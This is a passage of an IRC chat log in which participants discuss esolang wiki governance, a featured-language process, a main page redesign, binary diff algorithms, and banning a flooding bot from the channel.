21:29:40 <ais523> if you don't expect anyone to try that, no reason not to
21:29:44 <elliott> (these two facts are related)
21:29:59 <elliott> it wasn't even quite a copy-paste move; it was a copy-modify heavily-paste move
21:30:33 <elliott> then they edited their own talk page comments after someone replied to it, and edited /the replier's comment/ so that it made sense in context
21:30:37 <ais523> the method used to be to delete the new name, rename the old name to the new name, undelete the new name, revert to the revision that's meant to be top
21:30:42 <elliott> talk about high-maintanence...
21:30:47 <elliott> ais523: that still is the method
21:30:54 <elliott> if Wikipedia's manual is up-to-date
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21:31:02 <ais523> `addquote <elliott> then they edited their own talk page comments after someone replied to it, and edited /the replier's comment/ so that it made sense in context
21:31:05 <HackEgo> 824) <elliott> then they edited their own talk page comments after someone replied to it, and edited /the replier's comment/ so that it made sense in context
21:31:09 <ais523> elliott: well, you've been able to combine the rename and delete for ages
21:31:28 <ais523> and around when I left Wikipedia there were rumours that the devs were writing a less awkward way to histmerge and histsplit
21:31:31 <ais523> looks like that fell through
21:31:34 <elliott> ais523: (their edits were limited to changing the language to the new name, but since they admitted the language changed quite a bit since renaming, it's ridiculous)
21:31:36 <HackEgo> 615) <shachaf> elliott: GHC bug? Come on, it's the parentheses. <shachaf> The more parentheses you add, the closer it is to LISP, and therefore the more dynamically-typed.
21:31:46 <HackEgo> 276) <Gregor> I'm blond with blue (sort of) eyes, so I could totally stealth my way through the holocaust ... or some such logic :P
21:31:49 <HackEgo> 579) <Patashu> But I mean, why fix it if it ain't broke? Except now it is
21:31:51 <HackEgo> 120) <fungot> pikhq: from csh type ' exit', is a simple protocol which provides an interface to c. [...]
21:31:54 <HackEgo> 27) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: <oerjan> sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers
21:32:18 <ais523> the fungot quote is yet again good
21:32:19 <fungot> ais523: syntax-rules is fairly easy
21:32:27 <oerjan> ais523: it's part of a series
21:32:28 <ais523> and I got 5615, 276, 579, 120, 27
21:32:38 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.18428
21:32:40 <ais523> oerjan: indeed, but it isn't a /good/ series
21:32:57 <oerjan> 27 is the norwegian version, btw
21:33:02 <elliott> it's far too classic to get deleted
21:33:20 <Sgeo> elliott, tswett monqy Phantom_Hoover UPDATE
21:33:31 <elliott> I love tswett monqy Phantom_Hoover updates.
21:33:51 <ais523> 276 seems out of place because RocketJSquirrel /isn't/ blond, IIRC
21:33:55 <ais523> unless it's a weird definition of blond
21:34:27 <elliott> 276 seems out of place because RocketJSquirrel /isn't/ Gregor, IIRC
21:34:38 <elliott> The meme here is to make a false statement and append "IIRC".
21:35:00 <RocketJSquirrel> That meme seems out of place because those statements /aren't/ false, IIRC
21:35:52 <ais523> elliott: seems to also require an italicised word
21:36:27 <elliott> "X seems out of place because THING /somethingn't/ THING, IIRC"
21:36:40 <elliott> That snowclone seems out of place because snowclones /don't/ contain placeholders, IIRC
21:36:47 <pikhq_> Fun fact: there is no implementation of C99 on Windows.
21:36:48 <monqy> is this a new thing
21:37:09 <pikhq_> Best you can do is C99-modulo-libc.
21:37:55 <elliott> <ais523> elliott: it depends on if you expect we'll get vandals; moves can't be fully reversed by a non-admin, so the reason they're usually disallowed is to prevent vandalism that's disproportionately hard to revert
21:38:06 <elliott> ais523: I suppose there's unlikely to be page-move spambots :)
21:38:24 <elliott> here's a reason not to enable it: it'll produce a drop-down with only one option
21:38:27 <ais523> elliott: indeed, unless they're Esolang-specific
21:39:29 <elliott> RocketJSquirrel: I believe the prime saboteur is in #musl
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21:50:51 <ais523> anyway, bleh at this binary diff thing
21:51:08 <ais523> the algorithm as written is still far too slow, also GNU diff doesn't use it despite claiming to
21:52:32 <ais523> I have to write this from scratch, pretty much, NHPL isn't compatible with anything
21:52:42 <ais523> /possibly/ two-clause BSD, but I'm not even sure on that one
21:53:41 <elliott> I proposed you implement bps.
21:53:55 <elliott> It'll probably be a lot simpler than anything else.
21:54:48 <ais523> I've actually been considering doing something that fits with the format
21:55:16 <ais523> by checking what the fixed-length bits and variable-length bits are, and just XORing and RLEing the fixed-length bits
21:55:23 <ais523> and doing something clever with the variable-length bits
21:56:08 <elliott> (bps is a /really/ trivial file format, btw)
21:56:32 <elliott> it's basically a 4-instruction tarpit
21:58:06 <ais523> elliott: oh, my patch format is that too
21:58:12 <ais523> the problem is generating the patch effiicently in the first plcae
21:58:46 <ais523> my format uses two bits for command, six for run length
21:59:20 <ais523> the commands are copy, insert, delete, and bignum (for run lengths larger than 63; its runlength is multiplied by 64 and added to the runlength of the next command)
21:59:28 <ais523> and insert is followed by the individual bytes to insert
21:59:53 <ais523> I can generate that format reasonably simply, but not efficiently; O(sn) is too slow in practice
22:03:54 <elliott> ais523: meh, that's more complicated than bps :)
22:04:18 <ais523> elliott: format simplicity is completely missing the point, anyway
22:04:25 <ais523> it's efficiency in finding the diff
22:05:06 <ais523> GNU diff seems to do something crazy involving multiple bisections, and finding lines unique to one side or other on the basis that they can't match anything
22:06:08 <ais523> and it's way faster than my program, even if I convert all the bytes to hex and put a different one on each line, so it's a fair comparison
22:06:22 <pikhq_> ais523: It's quite advantageous for people implementing a patch applier.
22:06:42 <ais523> pikhq_: well, right, and I'd need that too
22:06:54 <ais523> but the patch applier is going to be O(n) with any sane patch format, unless it's heavily compressed
22:07:04 <ais523> so it's the patch determiner I'm worried about the efficiency of
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22:26:47 <elliott> ais523: by the way, I edited two MediaWiki-namespace pages today
22:26:50 <elliott> i'm still scared when I do it :(
22:55:08 <elliott> oerjan: "Although it shares a daily article with other Scandinavian ones"
22:56:26 <elliott> oerjan: i don't like that "no bureaucracy, of course!" is being paired with suggestions of bureaucracy :(
22:56:54 <itidus21> i think html can be summarized as: <a1 b1="c1" b2="c2" bN="cN"> </a1>
22:56:56 <oerjan> wait, does that mean i should scratch my current rules list suggestion? :(
22:57:10 <elliott> oerjan: well, ask me here first :P
22:57:22 <oerjan> :*Articles should be well written and formatted.
22:57:23 <oerjan> :*Languages should have an implementation, unless the difficulty of making one is part of its point.
22:57:26 <oerjan> :*Similarly there should be example programs.
22:57:28 <oerjan> :*Languages different from those already chosen should have preference.
22:57:31 <oerjan> :*Languages not from the themes most frequently chosen should have preference.
22:57:32 <oerjan> is what i have so far.
22:57:52 <elliott> oerjan: they're good guidelines. but i was going to implement that by using my freedom to choose from the available options
22:58:08 <elliott> along those lines, i was thinking that we should remove the whole consensus-on-individual-options thing. not a joke :P
22:58:37 <elliott> well the idea is that anyone could propose a language, but I'd just pick one from that list - this is basically how the english wikipedia's process works
22:58:44 <oerjan> you want to be benevolent dictator, check
22:59:03 <elliott> oerjan: i wouldn't propose suggestions
22:59:08 <elliott> you really think we'd get more than 3 suggestions per week, ever?
22:59:28 <elliott> all the not-votes would be along the lines of "yes this is great" for good languages and "no this isn't great" for bad languages
22:59:41 <zzo38> Just go to [[Special:Random]] and then see if you like that one, and in case you don't like that one then try again
22:59:46 <elliott> i suspect most of the time everyone would be "yes, these are all good" and perhaps one of them would be obviously slightly above the cut
23:00:02 <oerjan> elliott: there might be some who insist on renominating again and again
23:00:09 <itidus21> you should aim to compete with gregor's rate of hat suggestions per week
23:00:13 <oerjan> er oh right that other one
23:00:17 <elliott> ais523: guess what the norwegian wikipedia's main page is?
23:00:33 <ais523> elliott: a matrix of solidity?
23:00:39 <oerjan> it suddenly seemed like a bad idea if there really will be only 3 suggestions a week :P
23:00:43 <elliott> ais523: no, Portal:[en:main -> no]
23:01:09 <oerjan> :*Articles may not be renominated for a set period
23:01:14 <elliott> oerjan: and yes, my main reason for wanting things to be coordinated by a set group on IRC was to prevent the more enthusiastic and less talented designers getting repeatedly sorely let down.
23:01:59 <oerjan> :*No one may nominate more than one of their own languages per turn
23:02:04 <elliott> ais523: erm, Portal:[en:Home -> no] actually
23:02:23 <itidus21> ooh i see a nice idea happening here
23:02:35 <oerjan> (my _first_ idea before seeing your response we "No one may nominate their own language, period"
23:02:39 <elliott> oerjan: to be honest, i would rather make it no more than one language per turn, and not your own unless there's few suggestions
23:02:56 <ais523> this is beginning to sound like a nomic
23:03:03 <elliott> in fact, just banning self-noms categorically is probably the best idea.
23:03:15 <elliott> (i suddenly had a vision of timwi participating in this process.)
23:03:28 <elliott> if your language is _really_ good, ask someone on IRC to nominate it for you
23:03:30 <oerjan> another idea is that there might be a kind of theme per turn
23:03:37 <elliott> if you can't convince a single person to, then your language sucks
23:04:02 <oerjan> and perhaps a cycle between old and new languages.
23:05:00 <elliott> oerjan: here's my current thoughts as to how it should possibly go: there's a page where everyone can add one (and only one) language (not their own). every $TIMESPAN, i pick a language from that list and remove it. every $LONGER_TIMESPAN, I blank the list and people can propose again
23:05:13 <zzo38> I think self nomination should be permitted but only one each, and only complete articles, and only the main namespace. And you are also allowed to vote for yourself too, but again, only one each. Other artcles can be nominated and voted more than one each, but there should still be a limit.
23:05:20 <elliott> and they can't nominate the same language twice in a row.
23:05:30 <elliott> (i first thought of this without the periodic blanking, but the problem is that the crappy languages would just pile up forever.)
23:05:44 <elliott> (and removing them would be rude. so just blank the whole thing every now and then.)
23:06:01 <elliott> oerjan: how does that sound?
23:06:15 <elliott> it means that people don't have to add new ones all the time for it to work, since the list lasts longer.
23:06:20 <zzo38> Perhaps instead of removing some names, you comment (or strike) them, to remember that it has been used.
23:06:32 <olsner> you could have a list of accepted non-crappy pages, feature a random one from that list each day/week, then only use a "complicated process" for changing the list
23:06:54 <zzo38> I think each day is too often but each week is good.
23:07:14 <elliott> olsner: yeah but you just know everyone would immediately propose their new esolang to be featured.
23:07:21 <RocketJSquirrel> elliott: http://sprunge.us/eaKd <-- here's the current FSF taint state of sabotage.
23:07:31 <elliott> we're not like Wikipedia in that we can have a huge bureaucracy that upsets people, because we're tiny
23:07:52 <oerjan> we could write a language that simulates one!
23:07:54 <elliott> RocketJSquirrel: You can trash those architectures.
23:08:00 <elliott> RocketJSquirrel: And almost certainly the cryptos tuff.
23:08:07 <elliott> RocketJSquirrel: And the math emulation.
23:08:11 <RocketJSquirrel> elliott: Yeah, the only one that's vaguely concerning is the timeconv.c.
23:08:19 <zzo38> Perhaps, do not allow anyone to propse anything which is too recent.
23:08:27 <elliott> RocketJSquirrel: sprunge me timeconv.c and I'll tell you how hard it would be to reimplement :P
23:08:45 <elliott> RocketJSquirrel: (So that you don't look at it and get THE TAINT)
23:09:16 <elliott> 127 lines of C? It probably implements division or something.
23:09:16 <zzo38> Why are you trying to rewrite the kernel?
23:09:17 <oerjan> otoh this guy on wikipedia presumably only selects from articles that have _already_ got the featured stamp?
23:09:45 <elliott> oerjan: yes, i was going to say that but didn't
23:10:04 <elliott> oerjan: people suggest articles from the featured pile, there's a rough scoring process, and he picks arbitrarily from those
23:10:25 <pikhq> RocketJSquirrel: I'm a bit surprised sabotage hasn't removed GNU sed...
23:10:26 <oerjan> i think people might be annoyed if their opinion doesn't count for anything, even if you make the final choice
23:10:35 <pikhq> It's a fairly simple patch to make Linux build without it.
23:10:42 <elliott> oerjan: (the scoring process e.g. favours people on their birthdays or events on their anniversaries and so on, and punishes having too many articles of the same kind (primarily for entertainment/technology related things) on in a short timespan.)
23:11:04 <RocketJSquirrel> pikhq: I think it's only included in "stage1", and to my knowledge sabotage isn't actually trying to be NoGNU/Linux.
23:11:20 <elliott> RocketJSquirrel: Has leap year/number of days in month data, and a time_t -> local year/month/day function.
23:11:34 <pikhq> Still, it's only necessary because of a small bit of brain damage.
23:12:22 <elliott> RocketJSquirrel: Anyhow, you forgot glibc in that list.
23:12:28 <elliott> If sabotage does use glibc-gcc.
23:12:35 <pikhq> (they use a GNU-specific regexp which can be changed to POSIX-compliant trivially)
23:12:47 <elliott> <elliott> oerjan: here's my current thoughts as to how it should possibly go: there's a page where everyone can add one (and only one) language (not their own). every $TIMESPAN, i pick a language from that list and remove it. every $LONGER_TIMESPAN, I blank the list and people can propose again
23:12:52 <elliott> oerjan: what do you think of this process?
23:13:01 <pikhq> elliott: It only uses it for stage1, and the first thing it does with that in stage2 is replace it.
23:13:16 <zzo38> I also suggest that only main namespace articles are allowed to be nominated (if someone finds an article they want to nominate which is not in the main namespace, they could move it or copy it or write a new article about it or post a discussion requesting the move)
23:13:18 <elliott> oerjan: it seems to be minimal-effort for everyone involved, while being driven by the editors.
23:13:32 <RocketJSquirrel> <elliott> RocketJSquirrel: Anyhow, you forgot glibc in that list. <elliott> If sabotage does use glibc-gcc. // it doesn't, I misunderstood.
23:13:36 <elliott> zzo38: The idea is that it's for languages.
23:13:53 <pikhq> Wait, or does it use the musl-gcc wrapper to build that?
23:13:59 <elliott> RocketJSquirrel: I'm shocked LLVM haven't written a binutils yet.
23:14:57 <pikhq> RocketJSquirrel: Last I checked, Apple still needs to link.
23:14:58 <zzo38> But someone outside of Apple could write LLVM binutils if they want to, I suppose.
23:15:08 <elliott> pikhq: Apple have their own object format.
23:15:19 <pikhq> RocketJSquirrel: What do they use?!?
23:15:27 <pikhq> elliott: binutils is object-format agnostic.
23:15:29 <RocketJSquirrel> pikhq: Their own, presumably derived from some pile of shit BSD one.
23:15:30 <oerjan> elliott: well we can try that and see if it works
23:15:31 <elliott> Since they invented it, it's their own tools.
23:15:40 <elliott> RocketJSquirrel: Do Apple need libc++?
23:15:53 <pikhq> (this is a major part of *why* binutils is so complicated)
23:16:09 <elliott> "Developed byCarnegie Mellon University/Apple Inc."
23:16:09 <RocketJSquirrel> <elliott> RocketJSquirrel: Do Apple need libc++? // Idonno
23:16:33 <elliott> pikhq: binutils includes non-object-format-agnostic tools :P
23:16:33 <RocketJSquirrel> elliott: Well, Apple's basically all that's kept Mach afloat since the beginning *shrugs*
23:16:42 <elliott> Or at least tool, singular.
23:16:50 <elliott> RocketJSquirrel: Uhhhh, hello? HURD?!
23:17:03 <pikhq> Most of them go through libbfd.
23:17:07 <elliott> RocketJSquirrel: Also, technically NeXT, then Apple :P
23:17:17 <pikhq> Which handles most object formats.
23:17:24 <elliott> (Apple when Jobs was absent is instead called unprofitable.)
23:18:39 <oerjan> elliott: although if people cannot nominate themselves, i hope sockpuppets won't become a problem.
23:18:54 <RocketJSquirrel> <pikhq> Which handles most object formats. <pikhq> Including Mach-O. // uhh, no? I'm pretty sure libbfd doesn't have Mach-O support.
23:19:00 <elliott> oerjan: I doubt anyone is truly that sad, though.
23:19:02 <pikhq> http://sourceware.org/cgi-bin/cvsweb.cgi/src/bfd/mach-o.c?rev=1.102&content-type=text/x-cvsweb-markup&cvsroot=src There's the source for it.
23:19:18 <elliott> oerjan: If they are, their language is probably crap, and so I'll ignore it just like any other crappy suggestions.
23:19:47 <elliott> RocketJSquirrel: BTW, does "FSF-copyrighted" really count as GNU?
23:20:12 <pikhq> Anyways, the OS X man page suggests that they're using personally-maintained BSD ld.
23:20:24 <itidus21> oh cherish the day when anyone cares enough about esolangs.org to use a sock puppet to inflience getting a language on main page
23:21:44 <pikhq> They are probably the only people still using even a fork of BSD ld. Even the BSDs are on GNU binutils...
23:21:49 <elliott> RocketJSquirrel: Uhh... how about "package is a GNU project"?
23:22:53 <RocketJSquirrel> elliott: My metrics involve things I can write into scripts ;)
23:23:28 <elliott> RocketJSquirrel: Sure, you just have to remove the things that aren't obviously GNU projects from the resulting list.
23:23:43 <elliott> RocketJSquirrel: OK, "GNU projects or derivatives of GNU projects".
23:23:47 <RocketJSquirrel> elliott: But if they include code FROM GNU projects, --- yeah.
23:23:49 <elliott> Does that FSF-copyrighted code come from a GNU project?
23:23:55 <elliott> I wouldn't be surprised if timeconv.c does.
23:24:01 <elliott> The architecture stuff, I doubt.
23:24:09 <elliott> (Who the fuck assigns copyright to FSF before submitting a patch to Linux?)
23:24:25 <pikhq> elliott: An FSF employee working on a patch?
23:24:46 <elliott> I guess assigning copyright to the FSF is like prayer.
23:25:58 <itidus21> the idea is incredibly comical. the frustrated wiki user hunched over the keyboard building up a collection of sockpuppets to secure victory for his/her article of choice
23:27:08 <oerjan> itidus21: but sockpuppets are always comical.
23:29:51 <elliott> WELCOME TO THE HOUSE OF BEING ARRESTED
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23:33:19 <elliott> oerjan: btw have you been here all this time and i just didn't notice.
23:34:05 <itidus21> according to googles opinions of me as a google user, the first image result i get for explor language is from esolangs.org
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23:35:44 <elliott> oerjan: i only noticed you when you edited talk:main page
23:35:56 <elliott> somehow I don't think we'll miss HashB
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23:37:02 <elliott> oerjan: zero, one, infinity
23:37:04 <oerjan> elliott: i've been here for 2 hours.
23:37:14 -!- HashB has joined.
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23:37:47 <oerjan> anyone here wants to admit to owning the bot? otherwise i'll probably ban it if it continues.
23:37:53 <elliott> oerjan: it has had a different IP each time.
23:37:58 <elliott> no way it's someone in here.
23:38:11 -!- ChanServ has set channel mode: +o oerjan.
23:38:32 -!- oerjan has set channel mode: +b *!*@82.132.211.*.
23:38:32 -!- HashB has joined.
23:38:33 -!- HashB has quit (Excess Flood).
23:38:58 <elliott> oerjan: i.e. try HashB!*@* instead
23:38:59 -!- oerjan has set channel mode: -b *!*@82.132.211.*.
23:39:04 <elliott> <elliott> Is this HashB thing joining a lot of channels, or is the channel I'm in just special? <phillw> elliott: I've just asked the same question :)
23:39:19 -!- oerjan has set channel mode: +b HashB!*@*.
23:39:42 -!- oerjan has set channel mode: +b *!*@82.132.*.*.
23:39:52 <elliott> ais523: how many people does 82.132.*.* affect?
23:40:19 <ais523> elliott: not sure, let me rDNS it
23:40:59 <fizzie> 82.132.0.0/17 is CARNET, http://www.carnet.hr/
23:41:03 <fizzie> That's one half of it.
23:41:26 <elliott> well, who cares about croatia, that's what i always say
23:41:26 <ais523> 82.132.192.0/18, more specifically, is O2
23:41:27 -!- oerjan has set channel mode: -o oerjan.
23:41:32 <fizzie> 82.132.128.0/20 is O2 Online (UK), so.
23:41:34 <elliott> <phillw> elliott: mode (+b HashBot*!*@*)
23:41:35 <elliott> <phillw> what's about IP addresses? :P
23:41:35 <elliott> <elliott> phillw: you realise that pattern doesn't match nick=HashB, right? :P
23:41:35 <elliott> <phillw> not seen it with that nick yet.
23:42:05 <elliott> so did oerjan just ban a large number of O2 users?
23:42:09 <ais523> not sure if blocking O2 is reasonable, even if most british esolangers use Virgin Media
23:42:13 <fizzie> Who cares about UK, that's what I always say.
23:42:17 -!- ChanServ has set channel mode: +o oerjan.
23:42:23 -!- oerjan has set channel mode: -b *!*@82.132.*.*.
23:42:28 <elliott> ais523: FSVO "most" equal to 2? :)
23:42:36 <ais523> and other people too, because it was wider than just the O2 range
23:42:45 <itidus21> i hope it wasn't my comment about sockpuppets
23:42:48 -!- oerjan has set channel mode: -o oerjan.
23:42:48 <elliott> ais523: yes, but nobody cares about croatia.
23:44:16 -!- Jafet has quit (Quit: Leaving.).
23:44:23 <fizzie> elliott: Some dude called "ehirdiphone" has been here from 82.132.139.4 and 82.132.139.135 and other such numbers, but that's probably not a great loss?
23:45:02 <elliott> fizzie: I suspect you'll find an awful lot of O2 IPs from 2010.
23:45:14 <elliott> My iPhone was with O2, so...
23:45:16 <fizzie> ~/logs/freenode/#esoteric$ grep -i 82.132 * | wc -l
23:45:37 <elliott> Well, you know. Half of them will be quits.
23:45:55 <fizzie> Yeah, and the other half is just stuff like "Shrooms man".
23:46:41 <fizzie> (In particular, I'm referring to "2010-04-07 21:26:55 <ehirdiphone> Shrooms man".)
23:46:56 <elliott> Those lines won't have the IPs!
23:47:07 <elliott> We can all agree that Shrooms man.
23:47:33 <oerjan> Shroomsman, the very easily distracted superhero.
23:48:10 <itidus21> i downloaded some underground comics once
23:48:41 <itidus21> i wouldn't be surprised if he was in those
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23:54:48 <Maharba> I was thinking for the "featured esolang", have a template included on the main page, and then the template talk page could be for suggesting featured esolangs.
23:55:38 <elliott> I was planning on using a separate template for each blurb so that there could be an archive page
23:55:56 <elliott> but yes, the talk page of wherever the archive is would be the best place for discussions to go
23:56:13 <elliott> i've been discussing what the simplest viable process would be with oerjan just now actually
23:56:29 <Maharba> A new page each time we change the featured article? Sounds messy.
23:57:08 <elliott> actually, I suppose I could just copy the blurb to the archive page when it's done.
23:57:18 <elliott> it's unlikely to change much while it's up
23:58:07 <elliott> so yeah, you're right, a single template would do
00:00:00 <fungot> elliott: it is a feature that shouldn't be a normal receiver.) not that i'm depressed. :p http://panic.joroinen.fi/pk/ breakpoint03/ wild/ fnord)
00:00:23 <Maharba> Would the archive be a separate page, a subpage of the template, or <noinclude>d on the template page?
00:02:11 <elliott> Maharba: I think the best thing would be to have a template {{featured language}}, and [[Esolang:Featured languages]] describing the process
00:02:17 <elliott> and presumably discussion on [[Esolang talk:Featured languages]]
00:02:28 <elliott> *describing the process and having archives
00:02:35 <elliott> the template would presumably link to the project-space page
00:02:40 <Maharba> And archive on Esolang:Featured languages/Archive
00:03:12 <elliott> might not be necessary depending on the time span. although if it's weekly it would get annoying
00:03:25 <Maharba> I was thinking every 2 weeks.
00:04:24 <elliott> yes, that sounds reasonable. although i'm not sure a rigid time limit is necessary at all
00:04:34 <elliott> if there's no decent suggestions, no worries hanging on a bit longer
00:04:42 <elliott> although it might encourage people to suggest if there's a deadline :)
00:04:46 <Maharba> Of course not. Just an approximate frame.
00:07:13 <elliott> Approximate?! naw, we should shut down the wiki if there's no suggestions for two weeks
00:08:20 <itidus21> we as in the others since im not part of the wiki
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00:09:18 <elliott> i don't think maharba liked my suggestion.
00:09:22 <oerjan> itidus21: hey you couldn't possibly be worse than Maggot Ur or what is name was.
00:10:03 * oerjan may intentionally not have tried too hard getting that right
00:10:08 <itidus21> im just smart enough to be annoying
00:10:49 <elliott> "Why Systems Programmers Still Use C, and What to Do About It (bitc-lang.org)" in /r/programming. i can't _wait_ to see the comments.
00:11:38 * itidus21 hesitates to try to remember the name of ur's lang. elma.. esme!
00:11:49 <elliott> "Interesting article, but he misses the right answer: if it isn't broken, don't fix it.
00:11:49 <elliott> C may not be the easiest language to learn, but you wouldn't want newbies messing with systems programming anyway."
00:11:58 <elliott> i wish i was wrong occasionally.
00:12:13 <elliott> "Yes, I agree. If I had to improve C, I would add new types with more precise characteristics. Like int16, int32, and int64, for instance."
00:12:16 <elliott> djhdfklghsdjklfghsdfjklghldfkgf
00:12:28 <elliott> RocketJSquirrel: pikhq_: One of you has a chainsaw, right?
00:12:37 <elliott> I have some murdering to do.
00:14:09 <oerjan> here borrow this one (O)######
00:15:06 <elliott> i warn you that i cannot guarantee any redditor will survive my onslaught.
00:15:24 <itidus21> this guy sounds like he enjoys it
00:15:44 <itidus21> "The BitC goal isn't to invent a new language or any new language concepts. It is to integrate existing concepts with advances in prover technology, and reify them in a language that allows us to build stateful low-level systems codes that we can reason about in varying measure using automated tools."
00:16:47 <elliott> "Biagioni's remarkable success with a TCP/IP implementation in Standard ML [3] is sometimes used to support the contention that the compiler can manage representation issues. Derby's technical report [8] is more revealing. On interactive traffic, FoxNet achieves 0.00007 times the performance of the then-current UNIX network stack. That is not a typo."
00:18:40 -!- HashBot has joined.
00:19:06 <elliott> or HashB*!*@82.* i suppose
00:19:35 <coppro> what is foxnet in this context?
00:20:24 -!- HashBot has quit (Remote host closed the connection).
00:20:24 <elliott> coppro: the name of the implementation, presumably
00:20:40 <elliott> E. Biagioni. ``A Structured TCP in Standard ML.'' Proc. SIGCOMM 1994. pp. 36–45. 1994.
00:20:40 <elliott> H. Derby. The Performance of FoxNet 2.0. CMU Technical Report CMU-CS-99-137. 1999.
00:20:41 -!- ChanServ has set channel mode: +o oerjan.
00:20:56 -!- oerjan has set channel mode: -b HashB!*@*.
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00:23:39 <elliott> there are an awful lot of bans
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00:27:12 <Maharba> Should we get started with the featured template and page?
00:27:37 <elliott> well, like i said the current main page design doesn't really support it at all.
00:27:51 <elliott> i already have a more "modular" incomplete design scribbled somewhere on my hard disk, though...
00:31:10 <Maharba> If the template is plain text (main page formats it), then we could do the template stuff now.
00:31:52 <elliott> what would be put on it, if it's just plain text of the featured language?
00:32:46 <Maharba> Hm...alright, how about making Esolang:Featured languages now?
00:33:01 <ais523> what's HashBot trying to do anyway?
00:33:14 <ais523> and why would someone spam #esoteric from a phone?
00:33:26 <ais523> if it dodges the ban, someone ctcp version it next time it's here
00:33:35 <itidus21> lol ais... he's joining sporadically.. it can't be had!
00:33:36 <oerjan> collecting words to hash for its huge rainbow database
00:33:41 <elliott> it's in the croatia IP range
00:33:54 <ais523> elliott: it's in the O2 range inside that, though
00:34:00 <ais523> and you were on a phon when you were there
00:34:08 <elliott> well, O2 don't just do phones.
00:34:22 <elliott> since another person was asking about it in #freenode, i presume it's joining an awful lot of channels.
00:34:47 <oerjan> elliott: i think fizzie was pointing out you have visited from the very same range
00:35:13 <elliott> well, the large range oerjan used, sure
00:35:17 <itidus21> it makes no apparent attempt to hide itself... it could just be called bobman
00:35:19 <ais523> elliott: no, the narrow range too
00:35:34 <elliott> hmm, right, it is in the O2 range
00:35:38 <itidus21> not like a hashbot needs to be named hashbot..
00:36:06 <oerjan> elliott: are you _sure_ your secret iphone ai hasn't escaped?
00:36:13 <itidus21> and why does it join and leave hahaha..
00:36:44 <elliott> oerjan: hey, that's a secret!
00:36:47 <itidus21> what the hell does "* HashB has quit (Excess Flood)" mean .. rhetorical
00:37:03 <itidus21> i could look up that term if i needed to know
00:37:31 <oerjan> itidus21: it means it keeps getting kicked off for talking too much
00:38:36 <itidus21> it could be whois'ing everyone i suppose
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00:39:16 <ais523> itidus21: that'd be SendQ exceeded
00:39:32 <ais523> the difference is that excess flood is if you're sending too much for the server, and sendq is if you're trying to make the server send too much back to you
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00:56:33 <elliott> wow, somehow i broke mediawiki's preview.
00:57:17 -!- Maharba_ has joined.
00:57:19 <elliott> ais523: you're not meant to be able to move the edit form outside of the content div by supplying MediaWiki with some wikitext to preview, right...?
00:57:36 <ais523> elliott: not sure, but I guess not
00:57:50 <Sgeo> elliott, did you get wget working as you need?
00:58:06 <Maharba_> Hey, how am I logged in twice?
00:58:09 <elliott> Maharba_: some wikitext with some slightly unbalanced divs
00:58:19 <oerjan> it's not a proper esolang Main Page unless it breaks time and space.
00:58:21 <elliott> and probably one of the connections got lost on your end, but the connection hasn't timed out on the server end yet
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01:03:20 <elliott> if you register your nickname, you can reclaim it without having to wait for it to ping out
01:04:53 <Sgeo> elliott, do you like BZFlag?
01:05:05 <elliott> Maharba: /msg nickserv register passwordiwant myemail@address
01:05:13 <elliott> (it sends a confirmation email)
01:09:08 <elliott> The design seems to be progressing nicely.
01:09:12 <elliott> Though you can never tell with these things.
01:09:37 <coppro> yeah, nickserv is a solid design
01:10:37 <oerjan> i don't think there was a confirmation email back in my time.
01:10:48 <elliott> coppro: I wasn't referring to NickServ :P
01:11:00 <elliott> oerjan: I think it came with the switch to the new software, perhaps?
01:12:18 <oerjan> hm well nickserv _does_ have my email.
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01:13:29 <elliott> it was always an optional parameter
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01:16:51 <elliott> sneak preview: http://ompldr.org/vZDJscw
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01:18:54 <elliott> feedback welcome, as long as it's not "hey, three of the boxes are the same colour" :P
01:18:58 <oerjan> i'm sorry, i cannot comment on it due to conflict of interest.
01:19:24 <elliott> oerjan: EXCUSE ME! I wrote that blurb specially for you!
01:19:32 <oerjan> well, it _was_ a lot of green.
01:19:48 <elliott> I haven't coloured the other boxes yet >_<
01:19:58 <elliott> I chose green for the gradient thing at the top since it's the trilime colour.
01:20:50 <elliott> i'm a bit worried that this design so far is rather _less_ useful to a new person coming into the wiki
01:21:01 <Maharba> I like it. Not sure about having a background gradient, though.
01:21:29 <elliott> since (a) it doesn't actually explain what an esolang is straight off, and (b) it's not really clear where to go to from the first paragraph
01:21:42 <Maharba> If you're worried about new people, just copy over the "This wiki is dedicated to the fostering and documentation of programming languages designed to be unique, difficult to program in, or just plain weird. Here's how you can explore this wiki." part.
01:21:45 <elliott> perhaps the core introductory material in the "as a reader" should come before the 2x2 box layout...
01:21:55 <elliott> Maharba: indeed, i might. felt like it might be a bit noisy
01:22:54 <elliott> i might drop the gradient if it ends up overlapping with the interface tabs, which i fear it might.
01:23:49 <Maharba> I have a mild dislike of gradients in general.
01:24:11 <RocketJSquirrel> elliott: Without enjoyment of our matrix of solidity, it is but a pale imitation of main pages of yore.
01:24:32 <elliott> Maharba: Pfft. Without gradients and rounded corners, how can anyone trust you?
01:24:40 <elliott> You might be stuck on Web 1.0.
01:25:00 <oerjan> you have to gradually get their trust
01:25:02 <zzo38> I suggest not changing the colors of the Classic and Nostalgia skins (or of any other skins that you are not going to test the new colors with).
01:25:20 <oerjan> so that you can defraud them
01:25:27 <Maharba> They just make the design crowded and noisy relative to straight lines and solid colors (such as white).
01:25:34 <elliott> zzo38: damn, who told you my secret plan to change the nostalgia skin to purple? :(
01:27:01 <zzo38> elliott: I deduced it.
01:36:45 <elliott> Okay, this is more like it: http://ompldr.org/vZDJseQ
01:37:37 <quintopia> is there a esolang where the code itself is music?
01:37:40 <RocketJSquirrel> elliott: And if I were to, say, hover my mouse over them limes ...
01:37:49 <Maharba> Maybe put the trilime on the other side, so it doesn't conflict with the main logo.
01:38:16 <elliott> RocketJSquirrel: They would start to rotate, as "Kaksikymmentäneljätuntiaikakausitämänhetkinen" plays endlessly, overlapping itself with new iterations again and again until it's just white noise.
01:38:35 <elliott> Also they would start to grow and accelerate, so in a minute or so there's just a green blur all over your screen while your ears bleed.
01:39:03 <oerjan> sounds more fluid than solid to me
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01:39:52 <elliott> I get the feeling Maharba_'s internet connection isn't terribly reliable.
01:40:11 <elliott> ("/msg nickserv ghost Maharba password" to disconnect the other one, then "/nick Maharba" to change to it.)
01:40:23 <oerjan> i mean, i sometimes use the webchat to get a _more_ reliable connection...
01:40:24 <itidus21> Maharba: Enjoy being locked in your matrix of solidity.
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01:41:19 <Maharba> There. I normally have a fairly reliable connection.
01:41:36 <Maharba> So I don't know why I keep losing it.
